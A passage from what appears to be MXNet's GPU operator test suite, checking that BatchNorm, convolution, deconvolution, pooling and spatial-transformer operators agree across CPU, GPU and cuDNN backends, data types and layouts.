'batchnorm_gpu' in batchnorm_op_list: ctx_list.append({'ctx': mx.gpu(0), 'batchnorm_data': data, 'type_dict': {'batchnorm_data': np.float32}}) sym_list.append(mx.sym.BatchNorm(fix_gamma=fix_gamma, use_global_stats=use_global_stats, name='batchnorm', cudnn_off=True)) # BatchNorm gpu cudnn (if cudnn is enabled) if 'batchnorm_cudnn' in batchnorm_op_list: ctx_list.append({'ctx': mx.gpu(0), 'batchnorm_data': data, 'type_dict': {'batchnorm_data': np.float32}}) sym_list.append(mx.sym.BatchNorm(fix_gamma=fix_gamma, use_global_stats=use_global_stats, name='batchnorm', cudnn_off=False)) check_consistency(sym_list, ctx_list) def test_1d_batchnorm(fix_gamma, use_global_stats): data = (2, 3, 20) test_batchnorm_versions_helper(batchnorm_op_list=['batchnorm_cpu', 'batchnorm_gpu', 'batchnorm_cudnn'], data=data, fix_gamma=fix_gamma, use_global_stats=use_global_stats) def test_2d_batchnorm(fix_gamma, use_global_stats): data = (2, 3, 10, 10) test_batchnorm_versions_helper(batchnorm_op_list=['batchnorm_cpu', 'batchnorm_gpu', 'batchnorm_cudnn'], data=data, fix_gamma=fix_gamma, use_global_stats=use_global_stats) def test_3d_batchnorm(fix_gamma, use_global_stats): data = (2, 3, 3, 5, 5) test_batchnorm_versions_helper(batchnorm_op_list=['batchnorm_cpu', 'batchnorm_gpu'], data=data, fix_gamma=fix_gamma, use_global_stats=use_global_stats) test_1d_batchnorm(True, False) test_1d_batchnorm(False, False) test_1d_batchnorm(False, True) test_1d_batchnorm(True, True) test_2d_batchnorm(True, False) test_2d_batchnorm(False, False) test_2d_batchnorm(False, True) test_2d_batchnorm(True, True) test_3d_batchnorm(True, False) test_3d_batchnorm(False, False) test_3d_batchnorm(False, True) test_3d_batchnorm(True, True) @pytest.mark.seed(1234) @assert_raises_cudnn_not_satisfied(min_version='5.1.10') @pytest.mark.serial def test_convolution_with_type(): sym1 = mx.sym.Convolution(num_filter=3, kernel=(3,3), name='conv') data = mx.sym.Variable('conv_data') w = mx.sym.Variable('conv_weight') b = mx.sym.Variable('conv_bias') w = mx.sym.transpose(w, axes=(0,2,3,1)) sym2 = mx.sym.transpose(data, axes=(0,2,3,1)) sym2 = mx.sym.Convolution(sym2, w, b, layout='NHWC', num_filter=3, kernel=(3,3)) sym2 = mx.sym.transpose(sym2, axes=(0,3,1,2), name='conv') sym = [sym1, sym1, sym1, sym1, sym1, sym2, sym2] ctx_list = [{'ctx': mx.gpu(0), 'conv_data': (2, 2, 10, 10), 'type_dict': {'conv_data': np.float64}}, {'ctx': mx.gpu(0), 'conv_data': (2, 2, 10, 10), 'type_dict': {'conv_data': np.float32}}, {'ctx': mx.gpu(0), 'conv_data': (2, 2, 10, 10), 'type_dict': {'conv_data': np.float16}}, {'ctx': mx.cpu(0), 'conv_data': (2, 2, 10, 10), 'type_dict': {'conv_data': np.float64}}, {'ctx': mx.cpu(0), 'conv_data': (2, 2, 10, 10), 'type_dict': {'conv_data': np.float32}}, # NHWC {'ctx': mx.gpu(0), 'conv_data': (2, 2, 10, 10), 'conv_weight': (3, 2, 3, 3), 'type_dict': {'conv_data': np.float32, 'conv_weight': np.float32}}, {'ctx': mx.gpu(0), 'conv_data': (2, 2, 10, 10), 'conv_weight': (3, 2, 3, 3), 'type_dict': {'conv_data': np.float16, 'conv_weight': np.float16}} ] # wider tolerance needed for true-fp16 NCHW test above tol = {np.dtype(np.float16): 0.5, np.dtype(np.float32): 1e-3, np.dtype(np.float64): 1e-5, np.dtype(np.uint8): 0, np.dtype(np.int32): 0} check_consistency(sym, ctx_list, rtol=tol, atol=tol) # test ability to turn off training on bias check_consistency(sym, ctx_list, grad_req={'conv_data': 'write', 'conv_weight': 'write', 'conv_bias': 'null'}, rtol=tol, atol=tol) # Apply N symbols against each of M contexts, checking that all NxM combinations match. def check_consistency_NxM(sym_list, ctx_list): # e.g. if sym_list=[sym1, sym2] and ctx_list=[ctx1, ctx2, ctx3], then resulting lists are: # sym_list=[sym1, sym1, sym1, sym2, sym2, sym2] and ctx_list=[ctx1, ctx2, ctx3, ctx1, ctx2, ctx3] check_consistency(np.repeat(sym_list, len(ctx_list)), ctx_list * len(sym_list), scale=0.5) @pytest.mark.skip(reason="test fails intermittently. temporarily disabled till it gets fixed. tracked at https://github.com/apache/incubator-mxnet/issues/10141") @pytest.mark.serial def test_convolution_options(): # 1D convolution ctx_list = [{'ctx': mx.gpu(0), 'conv_data': (2, 2, 7), 'type_dict': {'conv_data': np.float64}}, {'ctx': mx.gpu(0), 'conv_data': (2, 2, 7), 'type_dict': {'conv_data': np.float32}}, {'ctx': mx.gpu(0), 'conv_data': (2, 2, 7), 'type_dict': {'conv_data': np.float16}}, {'ctx': mx.cpu(0), 'conv_data': (2, 2, 7), 'type_dict': {'conv_data': np.float64}}, {'ctx': mx.cpu(0), 'conv_data': (2, 2, 7), 'type_dict': {'conv_data': np.float32}}] # Pad > 0 sym = mx.sym.Convolution(layout='NCW', num_filter=3, kernel=(3,), pad=(1,), name='conv') sym_no_cudnn = mx.sym.Convolution(num_filter=3, kernel=(3,), pad=(1,), cudnn_off=True, name='conv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # Stride > 1 sym = mx.sym.Convolution(layout='NCW', num_filter=3, kernel=(3,), stride=(2,), name='conv') sym_no_cudnn = mx.sym.Convolution(num_filter=3, kernel=(3,), stride=(2,), cudnn_off=True, name='conv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # Dilate > 1 sym = mx.sym.Convolution(layout='NCW', num_filter=3, kernel=(3,), dilate=(2,), name='conv') sym_no_cudnn = mx.sym.Convolution(num_filter=3, kernel=(3,), dilate=(2,), cudnn_off=True, name='conv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # 1x1 convolution sym = mx.sym.Convolution(layout='NCW', num_filter=3, kernel=(1,), pad=(0,), name='conv') sym_no_cudnn = mx.sym.Convolution(num_filter=3, kernel=(1,), pad=(0,), cudnn_off=True, name='conv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # 2D convolution ctx_list = [{'ctx': mx.gpu(0), 'conv_data': (2, 2, 7, 7), 'type_dict': {'conv_data': np.float64}}, {'ctx': mx.gpu(0), 'conv_data': (2, 2, 7, 7), 'type_dict': {'conv_data': np.float32}}, {'ctx': mx.gpu(0), 'conv_data': (2, 2, 7, 7), 'type_dict': {'conv_data': np.float16}}, {'ctx': mx.cpu(0), 'conv_data': (2, 2, 7, 7), 'type_dict': {'conv_data': np.float64}}, {'ctx': mx.cpu(0), 'conv_data': (2, 2, 7, 7), 'type_dict': {'conv_data': np.float32}}] # Pad > 0 sym = mx.sym.Convolution(num_filter=3, kernel=(3,3), pad=(1,1), name='conv') sym_no_cudnn = mx.sym.Convolution(num_filter=3, kernel=(3,3), pad=(1,1), cudnn_off=True, name='conv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # Stride > 1 sym = mx.sym.Convolution(num_filter=3, kernel=(3,3), stride=(2,2), name='conv') sym_no_cudnn = mx.sym.Convolution(num_filter=3, kernel=(3,3), stride=(2,2), cudnn_off=True, name='conv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # Dilate > 1 sym = mx.sym.Convolution(num_filter=3, kernel=(3,3), dilate=(2,2), name='conv') sym_no_cudnn = mx.sym.Convolution(num_filter=3, kernel=(3,3), dilate=(2,2), cudnn_off=True, name='conv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # 1x1 convolution sym = mx.sym.Convolution(num_filter=3, kernel=(1,1), pad=(0,0), name='conv') sym_no_cudnn = mx.sym.Convolution(num_filter=3, kernel=(1,1), pad=(0,0), cudnn_off=True, name='conv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # 3D convolution ctx_list = [{'ctx': mx.cpu(0), 'conv_data': (2, 2, 5, 7, 7), 'type_dict': {'conv_data': np.float64}}, {'ctx': mx.cpu(0), 'conv_data': (2, 2, 5, 7, 7), 'type_dict': {'conv_data': np.float64}}, {'ctx': mx.gpu(0), 'conv_data': (2, 2, 5, 7, 7), 'type_dict': {'conv_data': np.float64}}, {'ctx': mx.gpu(0), 'conv_data': (2, 2, 5, 7, 7), 'type_dict': {'conv_data': np.float32}}] # Pad > 0 sym = mx.sym.Convolution(num_filter=3, kernel=(2,3,3), pad=(1,1,1), name='conv') sym_no_cudnn = mx.sym.Convolution(num_filter=3, kernel=(2,3,3), pad=(1,1,1), cudnn_off=True, name='conv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # Stride > 1 sym = mx.sym.Convolution(num_filter=3, kernel=(2,3,3), stride=(2,2,2), name='conv') sym_no_cudnn = mx.sym.Convolution(num_filter=3, kernel=(2,3,3), stride=(2,2,2), cudnn_off=True, name='conv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # 1x1 convolution sym = mx.sym.Convolution(num_filter=3, kernel=(1,1,1), pad=(0,0,0), name='conv') sym_no_cudnn = mx.sym.Convolution(num_filter=3, kernel=(1,1,1), pad=(0,0,0), cudnn_off=True, name='conv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) @pytest.mark.serial def test_conv_deconv_guards(): # Test cases for convolution and deconvolution via strided fft. Ensure that the framework # guards against problematic CUDNN_CONVOLUTION_BWD_DATA_ALGO_FFT_TILING in cuDNN [7.3.1,7.5) # see https://docs.nvidia.com/deeplearning/sdk/cudnn-release-notes/rel_750.html#rel_750 for (op, opname) in [(mx.sym.Convolution, 'conv'), (mx.sym.Deconvolution, 'deconv')]: dataname = opname + '_data' ctx = {'ctx': mx.gpu(0), dataname: (32, 32, 64, 64), 'type_dict': {dataname: np.float32}} test_cases = [ {'num_filter':32, 'kernel':(6,6), 'pad':(0,0), 'stride':(2,2), 'name': opname}, {'num_filter':32, 'kernel':(6,6), 'pad':(1,1), 'stride':(2,2), 'name': opname}, {'num_filter':32, 'kernel':(6,7), 'pad':(0,1), 'stride':(2,2), 'name': opname}, {'num_filter':32, 'kernel':(7,6), 'pad':(1,0), 'stride':(2,2), 'name': opname}, {'num_filter':32, 'kernel':(7,7), 'pad':(0,0), 'stride':(2,2), 'name': opname}, {'num_filter':32, 'kernel':(7,7), 'pad':(1,1), 'stride':(2,2), 'name': opname}] for test_case_args in test_cases: try: sym = op(**test_case_args) sym_no_cudnn = op(cudnn_off=True, **test_case_args) check_consistency([sym, sym_no_cudnn], [ctx, ctx], scale=0.1) except: print('Test failure of mx.sym.{} with args: {}'.format(op.__name__, test_case_args)) raise def _conv_with_num_streams(seed): with random_seed(seed): # Try to expose timing-dependent improper workspace sharing by parallel dgrad and wgrad num_trials = 20 for _ in range(num_trials): size = np.random.randint(32, 128) # The cudnn conv operator runs dgrad and wgrad in separate streams if enabled, with possible # kernel overlap. The non-cudnn conv op doesn't do this so is used as the 'golden copy'. ctx = {'ctx': mx.gpu(0), 'conv_data': (2, 2, size, size), 'type_dict': {'conv_data': np.float32}} # Adding 'flip' here isolates the model from the input node (which can't use inplace store) flipped = mx.sym.flip(axis=0, name='conv') sym = mx.sym.Convolution(data=flipped, num_filter=3, kernel=(3,3), pad=(1,1), name='conv') flipped_no_cudnn = mx.sym.flip(axis=0, name='conv') sym_no_cudnn = mx.sym.Convolution(data=flipped_no_cudnn, num_filter=3, kernel=(3,3), pad=(1,1), cudnn_off=True, name='conv') try: # tol can be pretty high- we're looking for a large diff due to garbaged workspace check_consistency([sym, sym_no_cudnn], [ctx, ctx], rtol=1e-2, atol=1e-2) except: print('Failing conv size = {}'.format(size)) raise @pytest.mark.skip(reason="skipping for now due to severe flakiness") def test_convolution_multiple_streams(): for num_streams in ['1', '2']: for engine in ['NaiveEngine', 'ThreadedEngine', 'ThreadedEnginePerDevice']: print('Starting engine {} with {} streams.'.format(engine, num_streams), file=sys.stderr) run_in_spawned_process(_conv_with_num_streams, {'MXNET_GPU_WORKER_NSTREAMS' : num_streams, 'MXNET_ENGINE_TYPE' : engine}) print('Finished engine {} with {} streams.'.format(engine, num_streams), file=sys.stderr) # This test is designed to expose an issue with cudnn v7.1.4 algo find() when invoked with large c. # Algos returned by find() can fail to run with grad_req='add' (wgrad kernel beta parameter == 1.0f). @pytest.mark.serial def test_convolution_large_c(): problematic_c = 64 * 1024 # The convolution accumulates many values, so scale the input magnitude. scale = 0.1 def test_1D_with_width(width, grad_req): ctx_list = [{'ctx': mx.gpu(0), 'conv_data': (1, problematic_c, width), 'type_dict': {'conv_data': np.float32}}, {'ctx': mx.gpu(0), 'conv_data': (1, problematic_c, width), 'type_dict': {'conv_data': np.float64}}] sym = mx.sym.Convolution(layout='NCW', num_filter=8, kernel=(2,), name='conv') check_consistency([sym, sym], ctx_list, grad_req=grad_req, scale=scale) def test_2D_with_width(width, grad_req): ctx_list = [{'ctx': mx.gpu(0), 'conv_data': (1, problematic_c, 2, width), 'type_dict': {'conv_data': np.float32}}, {'ctx': mx.gpu(0), 'conv_data': (1, problematic_c, 2, width), 'type_dict': {'conv_data': np.float64}}] sym = mx.sym.Convolution(layout='NCHW', num_filter=4, kernel=(2,2), name='conv') check_consistency([sym, sym], ctx_list, grad_req=grad_req, scale=scale) # Run with different data tensor shapes to run cudnnFind() multiple times. # First, populate algo and op caches with models that always use cudnnFind() (req == 'write'). # Then run models that must avoid cached cudnnFind() results in some cases (req == 'add'). widths = [4, 16, 64] for req in ['write', 'add']: for width in widths: test_1D_with_width(width, req) test_2D_with_width(width, req) # This test is designed to expose an issue with cudnn v7.1.4 algo find() when invoked with large c. # Algos returned by find() can fail to run with grad_req='add' (wgrad kernel beta parameter == 1.0f). @pytest.mark.serial def test_deconvolution_large_c(): problematic_c = 64 * 1024 # The deconvolution accumulates many values, so scale the input magnitude. scale = 0.1 def test_1D_with_width(width, grad_req): ctx_list = [{'ctx': mx.gpu(0), 'deconv_data': (1, 8, width), 'type_dict': {'deconv_data': np.float32}}, {'ctx': mx.gpu(0), 'deconv_data': (1, 8, width), 'type_dict': {'deconv_data': np.float64}}] sym = mx.sym.Deconvolution(layout='NCW', num_filter=problematic_c, kernel=(2,), name='deconv') check_consistency([sym, sym], ctx_list, grad_req=grad_req, scale=scale) def test_2D_with_width(width, grad_req): ctx_list = [{'ctx': mx.gpu(0), 'deconv_data': (1, 8, 2, width), 'type_dict': {'deconv_data': np.float32}}, {'ctx': mx.gpu(0), 'deconv_data': (1, 8, 2, width), 'type_dict': {'deconv_data': np.float64}}] sym = mx.sym.Deconvolution(layout='NCHW', num_filter=problematic_c, kernel=(2,2), name='deconv') check_consistency([sym, sym], ctx_list, grad_req=grad_req, scale=scale) # Run with different data tensor shapes to run cudnnFind() multiple times. # First, populate algo and op caches with models that always use cudnnFind() (req == 'write'). # Then run models that must avoid cached cudnnFind() results in some cases (req == 'add'). widths = [4, 16, 64] for req in ['write', 'add']: for width in widths: test_1D_with_width(width, req) test_2D_with_width(width, req) @pytest.mark.serial def test_convolution_versions(): # 2D convolution NCHW ctx_list = [{'ctx': mx.cpu(0), 'conv_data': (2, 2, 7, 7), 'type_dict': {'conv_data': np.float32}}, {'ctx': mx.cpu(0), 'conv_data': (2, 2, 7, 7), 'type_dict': {'conv_data': np.float32}}, {'ctx': mx.gpu(0), 'conv_data': (2, 2, 7, 7), 'type_dict': {'conv_data': np.float32}}] conv_cudnn = mx.sym.Convolution(num_filter=3, kernel=(3,3), pad=(1,1), name='conv') conv_cpu = mx.sym.Convolution(num_filter=3, kernel=(3,3), pad=(1,1), name='conv') conv_gpu = mx.sym.Convolution(num_filter=3, kernel=(3,3), pad=(1,1), cudnn_off=True, name='conv') syms = [conv_cudnn, conv_cpu, conv_gpu] check_consistency(syms, ctx_list) # 3D convolution NCDHW ctx_list = [{'ctx': mx.gpu(0), 'conv_data': (2, 2, 5, 7, 7), 'type_dict': {'conv_data': np.float32}}, {'ctx': mx.cpu(0), 'conv_data': (2, 2, 5, 7, 7), 'type_dict': {'conv_data': np.float32}}, {'ctx': mx.gpu(0), 'conv_data': (2, 2, 5, 7, 7), 'type_dict': {'conv_data': np.float32}}] conv_cudnn = mx.sym.Convolution(num_filter=3, kernel=(2,3,3), pad=(1,1,1), name='conv') conv_cpu = mx.sym.Convolution(num_filter=3, kernel=(2,3,3), pad=(1,1,1), name='conv') conv_gpu = mx.sym.Convolution(num_filter=3, kernel=(2,3,3), pad=(1,1,1), cudnn_off=True, name='conv') syms = [conv_cudnn, conv_cpu, conv_gpu] check_consistency(syms, ctx_list) # More max-pooling strides and pads to test cudnn pooling implementation code paths @pytest.mark.serial def test_pooling_nhwc_with_convention(): def make_pooling_syms(**kwargs): # Conventional NCHW layout pooling sym = mx.sym.Pooling(**kwargs) # NHWC pooling data = mx.sym.Variable('pool_data') sym_nhwc = mx.sym.transpose(data, axes=(0,2,3,1)) sym_nhwc = mx.sym.Pooling(sym_nhwc, layout='NHWC', **kwargs) sym_nhwc = mx.sym.transpose(sym_nhwc, axes=(0,3,1,2), name='pool') return [sym, sym_nhwc] # While the float32 and float64 output is reliably consistent, float16 departs occasionally. # We compare nhwc and nchw results only within a given precision. for in_shape in [(3, 4, 8, 8), (2, 2, 20, 20)]: for kernel in [(2,2), (3,3), (4,4)]: for stride in [(1,1), (1,2), (2,1), (2,2)]: for data_type in [np.float64, np.float32, np.float16]: ctx_list = [{'ctx': mx.gpu(0), 'pool_data': in_shape, 'type_dict': {'pool_data': data_type}}] symlist = make_pooling_syms(kernel=kernel, pool_type='max', stride=stride, pooling_convention='valid', name='pool') check_consistency_NxM(symlist, ctx_list) symlist = make_pooling_syms(kernel=kernel, pool_type='max', stride=stride, pooling_convention='full', name='pool') check_consistency_NxM(symlist, ctx_list) symlist = make_pooling_syms(kernel=(300,300), pool_type='max', global_pool=True, name='pool') check_consistency_NxM(symlist, ctx_list) @pytest.mark.serial def test_pooling_with_type(): ctx_list = [{'ctx': mx.gpu(0), 'pool_data': (2, 2, 10, 10), 'type_dict': {'pool_data': np.float64}}, {'ctx': mx.gpu(0), 'pool_data': (2, 2, 10, 10), 'type_dict': {'pool_data': np.float32}}, {'ctx': mx.gpu(0), 'pool_data': (2, 2, 10, 10), 'type_dict': {'pool_data': np.float16}}, {'ctx': mx.cpu(0), 'pool_data': (2, 2, 10, 10), 'type_dict': {'pool_data': np.float64}}, {'ctx': mx.cpu(0), 'pool_data': (2, 2, 10, 10), 'type_dict': {'pool_data': np.float32}}] sym = mx.sym.Pooling(kernel=(3,3), pool_type='max', pooling_convention='valid', name='pool') check_consistency(sym, ctx_list, rand_type=np.float16) sym = mx.sym.Pooling(kernel=(3,3), pool_type='max', pooling_convention='full', name='pool') check_consistency(sym, ctx_list, rand_type=np.float16) sym = mx.sym.Pooling(kernel=(300,300), pool_type='max', global_pool=True, name='pool') check_consistency(sym, ctx_list, rand_type=np.float16) @pytest.mark.serial def test_deconvolution_with_type(): # Test basic deconvolution without exercising stride, pad or dilation. # 1D deconvolution sym = mx.sym.Deconvolution(num_filter=3, kernel=(3,), name='deconv') ctx_list = [{'ctx': mx.gpu(0), 'deconv_data': (2, 2, 7), 'type_dict': {'deconv_data': np.float64}}, {'ctx': mx.gpu(0), 'deconv_data': (2, 2, 7), 'type_dict': {'deconv_data': np.float32}}, {'ctx': mx.gpu(0), 'deconv_data': (2, 2, 7), 'type_dict': {'deconv_data': np.float16}}, {'ctx': mx.cpu(0), 'deconv_data': (2, 2, 7), 'type_dict': {'deconv_data': np.float64}}, {'ctx': mx.cpu(0), 'deconv_data': (2, 2, 7), 'type_dict': {'deconv_data': np.float32}}] # wider tolerance needed for true-fp16 test above tol = {np.dtype(np.float16): 0.3, np.dtype(np.float32): 1e-3, np.dtype(np.float64): 1e-5, np.dtype(np.uint8): 0, np.dtype(np.int32): 0} check_consistency(sym, ctx_list, rtol=tol, atol=tol) check_consistency(sym, ctx_list, rtol=tol, atol=tol, grad_req="add") # 2D deconvolution sym = mx.sym.Deconvolution(num_filter=2, kernel=(3,3), name='deconv') ctx_list = [{'ctx': mx.gpu(0), 'deconv_data': (2, 2, 10, 10), 'type_dict': {'deconv_data': np.float64}}, {'ctx': mx.gpu(0), 'deconv_data': (2, 2, 10, 10), 'type_dict': {'deconv_data': np.float32}}, {'ctx': mx.gpu(0), 'deconv_data': (2, 2, 10, 10), 'type_dict': {'deconv_data': np.float16}}, {'ctx': mx.cpu(0), 'deconv_data': (2, 2, 10, 10), 'type_dict': {'deconv_data': np.float64}}, {'ctx': mx.cpu(0), 'deconv_data': (2, 2, 10, 10), 'type_dict': {'deconv_data': np.float32}}] # wider tolerance needed for true-fp16 test above tol = {np.dtype(np.float16): 0.3, np.dtype(np.float32): 1e-3, np.dtype(np.float64): 1e-5, np.dtype(np.uint8): 0, np.dtype(np.int32): 0} check_consistency(sym, ctx_list, rtol=tol, atol=tol) check_consistency(sym, ctx_list, rtol=tol, atol=tol, grad_req="add") @pytest.mark.serial def test_deconvolution_options(): # 1D deconvolution ctx_list = [{'ctx': mx.gpu(0), 'deconv_data': (2, 2, 7), 'type_dict': {'deconv_data': np.float64}}, {'ctx': mx.gpu(0), 'deconv_data': (2, 2, 7), 'type_dict': {'deconv_data': np.float32}}, {'ctx': mx.gpu(0), 'deconv_data': (2, 2, 7), 'type_dict': {'deconv_data': np.float16}}, {'ctx': mx.cpu(0), 'deconv_data': (2, 2, 7), 'type_dict': {'deconv_data': np.float64}}, {'ctx': mx.cpu(0), 'deconv_data': (2, 2, 7), 'type_dict': {'deconv_data': np.float32}}] # Pad > 0 sym = mx.sym.Deconvolution(layout='NCW', num_filter=3, kernel=(3,), pad=(1,), name='deconv') sym_no_cudnn = mx.sym.Deconvolution(num_filter=3, kernel=(3,), pad=(1,), cudnn_off=True, name='deconv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # Stride > 1 sym = mx.sym.Deconvolution(layout='NCW', num_filter=3, kernel=(3,), stride=(2,), name='deconv') sym_no_cudnn = mx.sym.Deconvolution(num_filter=3, kernel=(3,), stride=(2,), cudnn_off=True, name='deconv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # Dilate > 1 sym = mx.sym.Deconvolution(layout='NCW', num_filter=3, kernel=(3,), dilate=(2,), name='deconv') sym_no_cudnn = mx.sym.Deconvolution(num_filter=3, kernel=(3,), dilate=(2,), cudnn_off=True, name='deconv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # 2D deconvolution ctx_list = [{'ctx': mx.gpu(0), 'deconv_data': (2, 8, 10, 10), 'type_dict': {'deconv_data': np.float64}}, {'ctx': mx.gpu(0), 'deconv_data': (2, 8, 10, 10), 'type_dict': {'deconv_data': np.float32}}, {'ctx': mx.gpu(0), 'deconv_data': (2, 8, 10, 10), 'type_dict': {'deconv_data': np.float16}}, {'ctx': mx.cpu(0), 'deconv_data': (2, 8, 10, 10), 'type_dict': {'deconv_data': np.float64}}, {'ctx': mx.cpu(0), 'deconv_data': (2, 8, 10, 10), 'type_dict': {'deconv_data': np.float32}}] # Pad > 0 sym = mx.sym.Deconvolution(num_filter=2, kernel=(3,3), pad=(1,1), name='deconv') sym_no_cudnn = mx.sym.Deconvolution(num_filter=2, kernel=(3,3), pad=(1,1), cudnn_off=True, name='deconv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # Stride > 1 sym = mx.sym.Deconvolution(num_filter=2, kernel=(3,3), stride=(2,2), name='deconv') sym_no_cudnn = mx.sym.Deconvolution(num_filter=2, kernel=(3,3), stride=(2,2), cudnn_off=True, name='deconv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # Dilate > 1 sym = mx.sym.Deconvolution(num_filter=2, kernel=(3,3), dilate=(2,2), name='deconv') sym_no_cudnn = mx.sym.Deconvolution(num_filter=2, kernel=(3,3), dilate=(2,2), cudnn_off=True, name='deconv') check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # # 3D deconvolution (not yet enabled) # ctx_list = [{'ctx': mx.cpu(0), 'conv_data': (2, 2, 5, 7, 7), 'type_dict': {'conv_data': np.float64}}, # {'ctx': mx.cpu(0), 'conv_data': (2, 2, 5, 7, 7), 'type_dict': {'conv_data': np.float64}}, # {'ctx': mx.gpu(0), 'conv_data': (2, 2, 5, 7, 7), 'type_dict': {'conv_data': np.float64}}, # {'ctx': mx.gpu(0), 'conv_data': (2, 2, 5, 7, 7), 'type_dict': {'conv_data': np.float32}}] # # Pad > 0 # sym = mx.sym.Convolution(num_filter=3, kernel=(2,3,3), pad=(1,1,1), name='conv') # sym_no_cudnn = mx.sym.Convolution(num_filter=3, kernel=(2,3,3), pad=(1,1,1), cudnn_off=True, name='conv') # check_consistency_NxM([sym, sym_no_cudnn], ctx_list) # # Stride > 1 # sym = mx.sym.Convolution(num_filter=3, kernel=(2,3,3), stride=(2,2,2), name='conv') # sym_no_cudnn = mx.sym.Convolution(num_filter=3, kernel=(2,3,3), stride=(2,2,2), cudnn_off=True, name='conv') # check_consistency_NxM([sym, sym_no_cudnn], ctx_list) @pytest.mark.seed(1234) def test_bilinear_sampler_with_type(): data = mx.sym.Variable('data') grid = mx.sym.Variable('grid') sym = mx.sym.BilinearSampler(data=data, grid=grid) ctx_list = [{'ctx': mx.gpu(0), 'data': (1, 5, 10, 10), 'grid': (1, 2, 10, 10), 'type_dict': {'data': np.float64}}, {'ctx': mx.gpu(0), 'data': (1, 5, 10, 10), 'grid': (1, 2, 10, 10), 'type_dict': {'data': np.float32}}, {'ctx': mx.gpu(0), 'data': (1, 5, 10, 10), 'grid': (1, 2, 10, 10), 'type_dict': {'data': np.float16}}, {'ctx': mx.cpu(0), 'data': (1, 5, 10, 10), 'grid': (1, 2, 10, 10), 'type_dict': {'data': np.float64}}, {'ctx': mx.cpu(0), 'data': (1, 5, 10, 10), 'grid': (1, 2, 10, 10), 'type_dict': {'data': np.float32}}] check_consistency(sym, ctx_list) check_consistency(sym, ctx_list, grad_req="add") def test_grid_generator_with_type(): data = mx.sym.Variable('data') sym = mx.sym.GridGenerator(data=data, transform_type='affine', target_shape=(20, 20)) scale = 1 ctx_list = [{'ctx': mx.gpu(0), 'data': (3, 6), 'type_dict': {'data': np.float32}}, {'ctx': mx.cpu(0), 'data': (3, 6), 'type_dict': {'data': np.float32}}] check_consistency(sym, ctx_list, scale=scale) check_consistency(sym, ctx_list, scale=scale, grad_req="add") sym = mx.sym.GridGenerator(data=data, transform_type='warp', target_shape=(20, 20)) ctx_list = [{'ctx': mx.gpu(0), 'data': (3, 2, 20, 20), 'type_dict': {'data': np.float32}}, {'ctx': mx.cpu(0), 'data': (3, 2, 20, 20), 'type_dict': {'data': np.float32}}] check_consistency(sym, ctx_list) check_consistency(sym, ctx_list, grad_req="add") def test_spatial_transformer_with_type(): data = mx.sym.Variable('data') loc = mx.sym.Flatten(data) loc = mx.sym.FullyConnected(data=loc, num_hidden=10) loc = mx.sym.Activation(data=loc, act_type='relu') loc = mx.sym.FullyConnected(data=loc, num_hidden=6) sym = mx.sym.SpatialTransformer(data=data, loc=loc, target_shape=(10, 10), transform_type="affine", sampler_type="bilinear", cudnn_off=True) ctx_list = [{'ctx': mx.gpu(0), 'data': (1, 5, 10, 10), 'type_dict': {'data': np.float64}}, {'ctx': mx.cpu(0), 'data': (1, 5, 10, 10), 'type_dict': {'data': np.float64}}] check_consistency(sym, ctx_list) check_consistency(sym, ctx_list, grad_req="add") sym = mx.sym.SpatialTransformer(data=data, loc=loc, target_shape=(10, 10), transform_type="affine", sampler_type="bilinear", cudnn_off=False) check_consistency(sym, ctx_list) check_consistency(sym, ctx_list, grad_req="add") def test_pooling_with_type2(): # While the float32 and float64 output is reliably consistent, float16 departs occasionally. # We compare cpu and gpu results only within a given precision. for data_type in [np.float64, np.float32, np.float16]: ctx_list = [{'ctx': mx.gpu(0), 'pool_data': (10, 2, 10, 10), 'type_dict': {'pool_data': data_type}}, {'ctx': mx.cpu(0), 'pool_data': (10, 2, 10, 10), 'type_dict': {'pool_data': data_type}}] sym = mx.sym.Pooling(name='pool', kernel=(3,3), stride=(2,2), pool_type='max') check_consistency(sym, ctx_list) sym = mx.sym.Pooling(name='pool', kernel=(3,3), pad=(1,1), pool_type='avg') check_consistency(sym, ctx_list) sym = mx.sym.Pooling(name='pool', kernel=(5,5), pad=(2,2), pool_type='max') check_consistency(sym, ctx_list) sym = mx.sym.Pooling(name='pool', kernel=(3,3), pad=(1,1), pool_type='sum') check_consistency(sym, ctx_list) def test_pooling_nhwc_with_type(): def make_pooling_syms(**kwargs): # Conventional NCHW layout pooling sym = mx.sym.Pooling(**kwargs) # NHWC pooling data = mx.sym.Variable('pool_data') sym_nhwc = mx.sym.transpose(data, axes=(0,2,3,1)) sym_nhwc = mx.sym.Pooling(sym_nhwc, layout='NHWC', **kwargs) sym_nhwc = mx.sym.transpose(sym_nhwc, axes=(0,3,1,2), name='pool') return [sym, sym_nhwc] # While the float32 and float64 output is reliably consistent, float16 departs occasionally. # We compare nhwc and nchw results only within a given precision. for data_type in [np.float64, np.float32, np.float16]: # NHWC pooling only enabled on GPU with CUDNN ctx_list = [{'ctx': mx.gpu(0), 'pool_data': (10, 2, 10, 10), 'type_dict': {'pool_data': data_type}}] symlist = make_pooling_syms(name='pool', kernel=(3,3), stride=(2,2), pool_type='max') check_consistency_NxM(symlist, ctx_list) symlist = make_pooling_syms(name='pool', kernel=(3,3), pad=(1,1), pool_type='avg') check_consistency_NxM(symlist, ctx_list) symlist = make_pooling_syms(name='pool', kernel=(5,5), pad=(2,2), pool_type='max') check_consistency_NxM(symlist, ctx_list) @pytest.mark.serial def test_pooling_versions(): # Produce the name of the 'transposed' layout, given the dimension def transposed_layout(ndim): if ndim < 3 or ndim > 5: raise RuntimeError("Invalid data dim, expecting 3, 4 or 5") return ('NWC', 'NHWC', 'NDHWC')[ndim-3] # default padding is all zeros def is_default_pad(pad): 